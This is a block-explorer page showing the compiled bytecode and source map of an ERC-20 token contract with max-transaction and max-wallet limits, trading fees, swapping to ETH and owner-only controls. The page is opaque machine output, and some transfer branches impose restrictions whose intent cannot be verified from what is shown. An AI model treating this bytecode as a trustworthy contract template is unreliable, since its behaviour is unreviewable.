04090205460ff16155b15610b7557600b54821115610afa5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104be565b600c5482610b1d856001600160a01b031660009081526001602052604090205490565b610b2791906114a1565b1115610b755760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104be565b30600090815260016020526040902054601054600160a81b900460ff16158015610bac57506010546001600160a01b038581169116145b8015610bc15750601054600160b01b900460ff165b8015610bce5750600d5481115b15610c0257610bf0610beb84610be684600e54610fd5565b610fd5565b610cc9565b478015610c0057610c0047610e5c565b505b505b8015610c7e5730600090815260016020526040902054610c249082610fea565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c759085815260200190565b60405180910390a35b610c89848484611049565b50505050565b60008184841115610cb35760405162461bcd60e51b81526004016104be9190611223565b506000610cc084866114b4565b95945050505050565b6010805460ff60a81b1916600160a81b1790558015610e4c57601054600160a01b900460ff1615610e4c576040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2957610d296114c7565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da691906114dd565b81600181518110610db957610db96114c7565b6001600160a01b039283166020918202929092010152600f54610ddf913091168461066a565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e189085906000908690309042906004016114fa565b600060405180830381600087803b158015610e3257600080fd5b505af1158015610e46573d6000803e3d6000fd5b50505050505b506010805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610490573d6000803e3d6000fd5b6010546000906001600160a01b038481169116148015610ed3575081610ed1856001600160a01b031660009081526001602052604090205490565b105b15610ef857600754610ef09084906001600160a01b031684611049565b506001610443565b5060009392505050565b601054600090600160a81b900460ff16610f61576006546001600160a01b0316600090815260016020526040902054158015610f585750600a546001600160a01b03851660009081526004602052604090205410155b610f6157600080fd5b6010546001600160a01b038481169116148015610f8757506001600160a01b0384163014155b15610fb357610fac6064610fa6600954856110ef90919063ffffffff16565b90611171565b9050610443565b610fcd6064610fa6600854856110ef90919063ffffffff16565b949350505050565b6000818311610fe45782610443565b50919050565b600080610ff783856114a1565b9050838110156104435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104be565b6001600160a01b03831660009081526001602052604090205461106c90826111b3565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461109b9082610fea565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107829085815260200190565b600082600003611101575060006103ba565b600061110d8385611455565b90508261111a858361156b565b146104435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104be565b600061044383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111f5565b600061044383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c8f565b600081836112165760405162461bcd60e51b81526004016104be9190611223565b506000610cc0848661156b565b600060208083528351808285015260005b8181101561125057858101830151858201604001528201611234565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461128657600080fd5b50565b6000806040838503121561129c57600080fd5b82356112a781611271565b946020939093013593505050565b6000806000606084860312156112ca57600080fd5b83356112d581611271565b925060208401356112e581611271565b929592945050506040919091013590565b60006020828403121561130857600080fd5b813561044381611271565b6000806040838503121561132657600080fd5b823561133181611271565b9150602083013561134181611271565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561139d5781600019048211156113835761138361134c565b8085161561139057918102915b93841c9390800290611367565b509250929050565b6000826113b4575060016103ba565b816113c1575060006103ba565b81600181146113d757600281146113e1576113fd565b60019150506103ba565b60ff8411156113f2576113f261134c565b50506001821b6103ba565b5060208310610133831016604e8410600b8410161715611420575081810a6103ba565b61142a8383611362565b806000190482111561143e5761143e61134c565b029392505050565b600061044360ff8416836113a5565b80820281158282048414176103ba576103ba61134c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103ba576103ba61134c565b818103818111156103ba576103ba61134c565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114ef57600080fd5b815161044381611271565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561154a5784516001600160a01b031683529383019391830191600101611525565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261158857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201883299402736d19841f956a8bb81e80e8c6dfdfe77a98985f7527fddb3661eb64736f6c63430008130033

Deployed Bytecode Sourcemap

3388:7818:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5465:69;;;;;;;;;;-1:-1:-1;5526:5:0;;;;;;;;;;;;-1:-1:-1;;;5526:5:0;;;;5465:69;;;;;;;:::i;:::-;;;;;;;;6178:138;;;;;;;;;;-1:-1:-1;6178:138:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6178:138:0;1023:187:1;4540:41:0;;;;;;;;;;-1:-1:-1;4540:41:0;;;;-1:-1:-1;;;;;4540:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;4540:41:0;1215:229:1;5694:81:0;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;5694:81:0;1449:177:1;6555:315:0;;;;;;;;;;-1:-1:-1;6555:315:0;;;;;:::i;:::-;;:::i;5619:69::-;;;;;;;;;;-1:-1:-1;5619:69:0;;4120:1;2234:36:1;;2222:2;2207:18;5619:69:0;2092:184:1;4588:28:0;;;;;;;;;;-1:-1:-1;4588:28:0;;;;-1:-1:-1;;;;;4588:28:0;;;10884:319;;;;;;;;;;;;;:::i;:::-;;5781:105;;;;;;;;;;-1:-1:-1;5781:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;5865:18:0;5847:7;5865:18;;;:9;:18;;;;;;;5781:105;2554:148;;;;;;;;;;;;;:::i;10543:153::-;;;;;;;;;;;;;:::i;4300:51::-;;;;;;;;;;;;;;;;2358:65;;;;;;;;;;-1:-1:-1;2396:7:0;2414:6;-1:-1:-1;;;;;2414:6:0;2358:65;;4358:53;;;;;;;;;;;;;;;;5540:73;;;;;;;;;;-1:-1:-1;5603:7:0;;;;;;;;;;;;-1:-1:-1;;;5603:7:0;;;;5540:73;;5892:145;;;;;;;;;;-1:-1:-1;5892:145:0;;;;;:::i;:::-;;:::i;10704:135::-;;;;;;;;;;;;;:::i;6043:129::-;;;;;;;;;;-1:-1:-1;6043:129:0;;;;;:::i;:::-;-1:-1:-1;;;;;6142:18:0;;;6124:7;6142:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6043:129;6178:138;6253:4;6261:39;243:10;6284:7;6293:6;6261:8;:39::i;:::-;-1:-1:-1;6309:4:0;6178:138;;;;;:::o;5694:81::-;5747:7;4173:13;4120:1;4173:2;:13;:::i;:::-;4163:23;;:7;:23;:::i;:::-;5758:14;;5694:81;:::o;6555:315::-;6654:4;6671:36;6681:6;6689:9;6700:6;6671:9;:36::i;:::-;6718:122;6727:6;243:10;6749:89;6787:6;6749:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6749:19:0;;;;;;:11;:19;;;;;;;;243:10;6749:33;;;;;;;;;;:37;:89::i;:::-;6718:8;:122::i;:::-;-1:-1:-1;6858:4:0;6555:315;;;;;;:::o;10884:319::-;2396:7;2414:6;-1:-1:-1;;;;;2414:6:0;243:10;10934:23;10926:32;;;;;;11010:4;10969:20;5865:18;;;:9;:18;;;;;;11031:16;;11027:57;;11051:30;11068:12;11051:16;:30::i;:::-;11115:21;11151:14;;11147:49;;11169:24;11182:10;11169:12;:24::i;:::-;10915:288;;10884:319::o;2554:148::-;2469:6;;-1:-1:-1;;;;;2469:6:0;243:10;2469:22;2461:67;;;;-1:-1:-1;;;2461:67:0;;;;;;;:::i;:::-;;;;;;;;;2661:1:::1;2645:6:::0;;2624:40:::1;::::0;-1:-1:-1;;;;;2645:6:0;;::::1;::::0;2624:40:::1;::::0;2661:1;;2624:40:::1;2692:1;2675:19:::0;;-1:-1:-1;;;;;;2675:19:0::1;::::0;;2554:148::o;10543:153::-;2469:6;;-1:-1:-1;;;;;2469:6:0;243:10;2469:22;2461:67;;;;-1:-1:-1;;;2461:67:0;;;;;;;:::i;:::-;4173:13:::1;4120:1;4173:2;:13;:::i;:::-;4163:23;::::0;:7:::1;:23;:::i;:::-;10597:12;:22:::0;4173:13:::1;4120:1;4173:2;:13;:::i;:::-;4163:23;::::0;:7:::1;:23;:::i;:::-;10621:14;:24:::0;10661:27:::1;4173:13;4120:1;4173:2;:13;:::i;:::-;4163:23;::::0;:7:::1;:23;:::i;:::-;10661:27;::::0;1595:25:1;;;1583:2;1568:18;10661:27:0::1;;;;;;;10543:153::o:0;5892:145::-;5970:4;5979:42;243:10;6003:9;6014:6;5979:9;:42::i;10704:135::-;2469:6;;-1:-1:-1;;;;;2469:6:0;243:10;2469:22;2461:67;;;;-1:-1:-1;;;2461:67:0;;;;;;;:::i;:::-;10757:11:::1;::::0;-1:-1:-1;;;10757:11:0;::::1;;;10756:12;10748:48;;;::::0;-1:-1:-1;;;10748:48:0;;5385:2:1;10748:48:0::1;::::0;::::1;5367:21:1::0;5424:2;5404:18;;;5397:30;5463:25;5443:18;;;5436:53;5506:18;;10748:48:0::1;5183:347:1::0;10748:48:0::1;10798:11;:18:::0;;-1:-1:-1;;;;10818:18:0;-1:-1:-1;;;10818:18:0;;;10704:135::o;6876:335::-;-1:-1:-1;;;;;6969:19:0;;6961:68;;;;-1:-1:-1;;;6961:68:0;;5737:2:1;6961:68:0;;;5719:21:1;5776:2;5756:18;;;5749:30;5815:34;5795:18;;;5788:62;-1:-1:-1;;;5866:18:1;;;5859:34;5910:19;;6961:68:0;5535:400:1;6961:68:0;-1:-1:-1;;;;;7048:21:0;;7040:68;;;;-1:-1:-1;;;7040:68:0;;6142:2:1;7040:68:0;;;6124:21:1;6181:2;6161:18;;;6154:30;6220:34;6200:18;;;6193:62;-1:-1:-1;;;6271:18:1;;;6264:32;6313:19;;7040:68:0;5940:398:1;7040:68:0;-1:-1:-1;;;;;7119:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7171:32;;1595:25:1;;;7171:32:0;;1568:18:1;7171:32:0;;;;;;;;6876:335;;;:::o;7401:1991::-;-1:-1:-1;;;;;7523:18:0;;7515:68;;;;-1:-1:-1;;;7515:68:0;;6545:2:1;7515:68:0;;;6527:21:1;6584:2;6564:18;;;6557:30;6623:34;6603:18;;;6596:62;-1:-1:-1;;;6674:18:1;;;6667:35;6719:19;;7515:68:0;6343:401:1;7515:68:0;-1:-1:-1;;;;;7602:16:0;;7594:64;;;;-1:-1:-1;;;7594:64:0;;6951:2:1;7594:64:0;;;6933:21:1;6990:2;6970:18;;;6963:30;7029:34;7009:18;;;7002:62;-1:-1:-1;;;7080:18:1;;;7073:33;7123:19;;7594:64:0;6749:399:1;7594:64:0;7686:1;7677:6;:10;7669:64;;;;-1:-1:-1;;;7669:64:0;;7355:2:1;7669:64:0;;;7337:21:1;7394:2;7374:18;;;7367:30;7433:34;7413:18;;;7406:62;-1:-1:-1;;;7484:18:1;;;7477:39;7533:19;;7669:64:0;7153:405:1;7669:64:0;7746:17;2414:6;;-1:-1:-1;;;;;7782:15:0;;;2414:6;;7782:15;;;;:32;;-1:-1:-1;2396:7:0;2414:6;-1:-1:-1;;;;;7801:13:0;;;2414:6;;7801:13;;7782:32;7778:1379;;;7836:11;;-1:-1:-1;;;7836:11:0;;;;7831:144;;2396:7;2414:6;-1:-1:-1;;;;;7876:15:0;;;2414:6;;7876:15;7868:91;;;;-1:-1:-1;;;7868:91:0;;7765:2:1;7868:91:0;;;7747:21:1;7804:2;7784:18;;;7777:30;7843:34;7823:18;;;7816:62;7914:33;7894:18;;;7887:61;7965:19;;7868:91:0;7563:427:1;7868:91:0;-1:-1:-1;;;;;7993:24:0;;;;;;:18;:24;;;;;;;;7989:178;;;8025:39;8047:4;8053:2;8057:6;8025:21;:39::i;:::-;8021:56;;;8068:7;7401:1991;;;:::o;8021:56::-;7989:178;;;8102:13;;-1:-1:-1;;;;;8102:21:0;;;:13;;:21;8098:69;;8139:25;8147:4;8153:2;8157:6;8139:7;:25::i;:::-;8127:37;;8098:69;8195:13;;-1:-1:-1;;;;;8195:13:0;;;8187:21;;;;8183:227;;-1:-1:-1;;;;;8233:28:0;;;;;;:24;:28;;;;;;:33;;8229:90;;-1:-1:-1;;;;;8270:28:0;;;;;;:24;:28;;;;;8301:15;8270:46;;8229:90;-1:-1:-1;;;;;8341:22:0;;;;;;:18;:22;;;;;;;;8337:57;;;8379:15;8365:11;:29;8337:57;8436:13;;-1:-1:-1;;;;;8428:21:0;;;8436:13;;8428:21;:55;;;;-1:-1:-1;8467:15:0;;-1:-1:-1;;;;;8453:30:0;;;8467:15;;8453:30;;8428:55;:82;;;;-1:-1:-1;;;;;;8488:22:0;;;;;;:18;:22;;;;;;;;8487:23;8428:82;8424:281;;;8549:12;;8539:6;:22;;8531:60;;;;-1:-1:-1;;;8531:60:0;;8197:2:1;8531:60:0;;;8179:21:1;8236:2;8216:18;;;8209:30;8275:27;8255:18;;;8248:55;8320:18;;8531:60:0;7995:349:1;8531:60:0;8644:14;;8634:6;8618:13;8628:2;-1:-1:-1;;;;;5865:18:0;5847:7;5865:18;;;:9;:18;;;;;;;5781:105;8618:13;:22;;;;:::i;:::-;:40;;8610:79;;;;-1:-1:-1;;;8610:79:0;;8681:2:1;8610:79:0;;;8663:21:1;8720:2;8700:18;;;8693:30;8759:28;8739:18;;;8732:56;8805:18;;8610:79:0;8479:350:1;8610:79:0;8770:4;8721:28;5865:18;;;:9;:18;;;;;;8796:6;;-1:-1:-1;;;8796:6:0;;;;8795:7;:30;;;;-1:-1:-1;8812:13:0;;-1:-1:-1;;;;;8806:19:0;;;8812:13;;8806:19;8795:30;:45;;;;-1:-1:-1;8829:11:0;;-1:-1:-1;;;8829:11:0;;;;8795:45;:89;;;;;8867:17;;8844:20;:40;8795:89;8791:355;;;8905:70;8922:51;8926:6;8934:38;8938:20;8960:11;;8934:3;:38::i;:::-;8922:3;:51::i;:::-;8905:16;:70::i;:::-;9023:21;9067:22;;9063:68;;9093:35;9106:21;9093:12;:35::i;:::-;8886:260;8791:355;7816:1341;7778:1379;9171:13;;9167:172;;9246:4;9228:24;;;;:9;:24;;;;;;:39;;9257:9;9228:28;:39::i;:::-;9219:4;9201:24;;;;:9;:24;;;;;;;:66;;;;9287:40;;-1:-1:-1;;;;;9287:40:0;;;;;;;9317:9;1595:25:1;;1583:2;1568:18;;1449:177;9287:40:0;;;;;;;;9167:172;9349:35;9367:4;9373:2;9377:6;9349:17;:35::i;:::-;7504:1888;7401:1991;;;:::o;1277:190::-;1363:7;1399:12;1391:6;;;;1383:29;;;;-1:-1:-1;;;1383:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1423:9:0;1435:5;1439:1;1435;:5;:::i;:::-;1423:17;1277:190;-1:-1:-1;;;;;1277:190:0:o;10044:491::-;4817:6;:13;;-1:-1:-1;;;;4817:13:0;-1:-1:-1;;;4817:13:0;;;10122:33;;10146:7:::1;10122:33;10170:11;::::0;-1:-1:-1;;;10170:11:0;::::1;;;10165:29:::0;10185:7:::1;10165:29;10228:16;::::0;;10242:1:::1;10228:16:::0;;;;;::::1;::::0;;10204:21:::1;::::0;10228:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10228:16:0::1;10204:40;;10273:4;10255;10260:1;10255:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10255:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10299:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10299:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10255:7;;10299:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10289:4;10294:1;10289:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10289:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10364:15:::1;::::0;10332:62:::1;::::0;10349:4:::1;::::0;10364:15:::1;10382:11:::0;10332:8:::1;:62::i;:::-;10405:15;::::0;:122:::1;::::0;-1:-1:-1;;;10405:122:0;;-1:-1:-1;;;;;10405:15:0;;::::1;::::0;:66:::1;::::0;:122:::1;::::0;10473:11;;10405:15:::1;::::0;10489:4;;10503::::1;::::0;10510:15:::1;::::0;10405:122:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10111:424;4832:1;-1:-1:-1::0;4835:6:0;:14;;-1:-1:-1;;;;4835:14:0;;;10044:491::o;7316:77::-;7364:9;;:26;;-1:-1:-1;;;;;7364:9:0;;;;:26;;;;;7383:6;;7364:9;:26;:9;:26;7383:6;7364:9;:26;;;;;;;;;;;;;;;;;;;6322:227;6431:13;;6413:4;;-1:-1:-1;;;;;6425:19:0;;;6431:13;;6425:19;:47;;;;;6466:6;6448:15;6458:4;-1:-1:-1;;;;;5865:18:0;5847:7;5865:18;;;:9;:18;;;;;;;5781:105;6448:15;:24;6425:47;6421:112;;;6498:10;;6476:41;;6494:2;;-1:-1:-1;;;;;6498:10:0;6510:6;6476:17;:41::i;:::-;-1:-1:-1;6526:4:0;6519:11;;6421:112;-1:-1:-1;6541:5:0;6322:227;;;;;:::o;9400:391::-;9540:6;;9515:7;;-1:-1:-1;;;9540:6:0;;;;9535:104;;9568:12;;-1:-1:-1;;;;;9568:12:0;5847:7;5865:18;;;:9;:18;;;;;;9558:28;:77;;;;-1:-1:-1;9624:11:0;;-1:-1:-1;;;;;9590:30:0;;;;;;:24;:30;;;;;;:45;;9558:77;9550:86;;;;;;9659:13;;-1:-1:-1;;;;;9653:19:0;;;9659:13;;9653:19;:44;;;;-1:-1:-1;;;;;;9676:21:0;;9692:4;9676:21;;9653:44;9649:90;;;9708:28;9732:3;9708:19;9719:7;;9708:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;9701:35;;;;9649:90;9756:27;9779:3;9756:18;9767:6;;9756;:10;;:18;;;;:::i;:27::-;9749:34;9400:391;-1:-1:-1;;;;9400:391:0:o;7217:93::-;7274:7;7297:1;7293;:5;7292:15;;7306:1;7292:15;;;-1:-1:-1;7302:1:0;7285:22;-1:-1:-1;7217:93:0:o;964:179::-;1022:7;;1054:5;1058:1;1054;:5;:::i;:::-;1042:17;;1083:1;1078;:6;;1070:46;;;;-1:-1:-1;;;1070:46:0;;10674:2:1;1070:46:0;;;10656:21:1;10713:2;10693:18;;;10686:30;10752:29;10732:18;;;10725:57;10799:18;;1070:46:0;10472:351:1;9799:237:0;-1:-1:-1;;;;;9907:15:0;;;;;;:9;:15;;;;;;:27;;9927:6;9907:19;:27::i;:::-;-1:-1:-1;;;;;9889:15:0;;;;;;;:9;:15;;;;;;:45;;;;9961:13;;;;;;;:25;;9979:6;9961:17;:25::i;:::-;-1:-1:-1;;;;;9945:13:0;;;;;;;:9;:13;;;;;;;:41;;;;10002:26;;;;;;;;;;10021:6;1595:25:1;;1583:2;1568:18;;1449:177;1473:246:0;1531:7;1555:1;1560;1555:6;1551:47;;-1:-1:-1;1585:1:0;1578:8;;1551:47;1608:9;1620:5;1624:1;1620;:5;:::i;:::-;1608:17;-1:-1:-1;1653:1:0;1644:5;1648:1;1608:17;1644:5;:::i;:::-;:10;1636:56;;;;-1:-1:-1;;;1636:56:0;;11252:2:1;1636:56:0;;;11234:21:1;11291:2;11271:18;;;11264:30;11330:34;11310:18;;;11303:62;-1:-1:-1;;;11381:18:1;;;11374:31;11422:19;;1636:56:0;11050:397:1;1725:118:0;1783:7;1801:39;1805:1;1808;1801:39;;;;;;;;;;;;;;;;;:3;:39::i;1149:122::-;1207:7;1225:43;1229:1;1232;1225:43;;;;;;;;;;;;;;;;;:3;:43::i;1849:189::-;1935:7;1970:12;1963:5;1955:28;;;;-1:-1:-1;;;1955:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1994:9:0;2006:5;2010:1;2006;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:422;3355:1;3398:5;3355:1;3412:270;3433:7;3423:8;3420:21;3412:270;;;3492:4;3488:1;3484:6;3480:17;3474:4;3471:27;3468:53;;;3501:18;;:::i;:::-;3551:7;3541:8;3537:22;3534:55;;;3571:16;;;;3534:55;3650:22;;;;3610:15;;;;3412:270;;;3416:3;3266:422;;;;;:::o;3693:806::-;3742:5;3772:8;3762:80;;-1:-1:-1;3813:1:1;3827:5;;3762:80;3861:4;3851:76;;-1:-1:-1;3898:1:1;3912:5;;3851:76;3943:4;3961:1;3956:59;;;;4029:1;4024:130;;;;3936:218;;3956:59;3986:1;3977:10;;4000:5;;;4024:130;4061:3;4051:8;4048:17;4045:43;;;4068:18;;:::i;:::-;-1:-1:-1;;4124:1:1;4110:16;;4139:5;;3936:218;;4238:2;4228:8;4225:16;4219:3;4213:4;4210:13;4206:36;4200:2;4190:8;4187:16;4182:2;4176:4;4173:12;4169:35;4166:77;4163:159;;;-1:-1:-1;4275:19:1;;;4307:5;;4163:159;4354:34;4379:8;4373:4;4354:34;:::i;:::-;4424:6;4420:1;4416:6;4412:19;4403:7;4400:32;4397:58;;;4435:18;;:::i;:::-;4473:20;;3693:806;-1:-1:-1;;;3693:806:1:o;4504:140::-;4562:5;4591:47;4632:4;4622:8;4618:19;4612:4;4591:47;:::i;4649:168::-;4722:9;;;4753;;4770:15;;;4764:22;;4750:37;4740:71;;4791:18;;:::i;4822:356::-;5024:2;5006:21;;;5043:18;;;5036:30;5102:34;5097:2;5082:18;;5075:62;5169:2;5154:18;;4822:356::o;8349:125::-;8414:9;;;8435:10;;;8432:36;;;8448:18;;:::i;8834:128::-;8901:9;;;8922:11;;;8919:37;;;8936:18;;:::i;9099:127::-;9160:10;9155:3;9151:20;9148:1;9141:31;9191:4;9188:1;9181:15;9215:4;9212:1;9205:15;9231:251;9301:6;9354:2;9342:9;9333:7;9329:23;9325:32;9322:52;;;9370:1;9367;9360:12;9322:52;9402:9;9396:16;9421:31;9446:5;9421:31;:::i;9487:980::-;9749:4;9797:3;9786:9;9782:19;9828:6;9817:9;9810:25;9854:2;9892:6;9887:2;9876:9;9872:18;9865:34;9935:3;9930:2;9919:9;9915:18;9908:31;9959:6;9994;9988:13;10025:6;10017;10010:22;10063:3;10052:9;10048:19;10041:26;;10102:2;10094:6;10090:15;10076:29;;10123:1;10133:195;10147:6;10144:1;10141:13;10133:195;;;10212:13;;-1:-1:-1;;;;;10208:39:1;10196:52;;10303:15;;;;10268:12;;;;10244:1;10162:9;10133:195;;;-1:-1:-1;;;;;;;10384:32:1;;;;10379:2;10364:18;;10357:60;-1:-1:-1;;;10448:3:1;10433:19;10426:35;10345:3;9487:980;-1:-1:-1;;;9487:980:1:o;10828:217::-;10868:1;10894;10884:132;;10938:10;10933:3;10929:20;10926:1;10919:31;10973:4;10970:1;10963:15;11001:4;10998:1;10991:15;10884:132;-1:-1:-1;11030:9:1;;10828:217::o

Swarm Source

ipfs://1883299402736d19841f956a8bb81e80e8c6dfdfe77a98985f7527fddb3661eb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.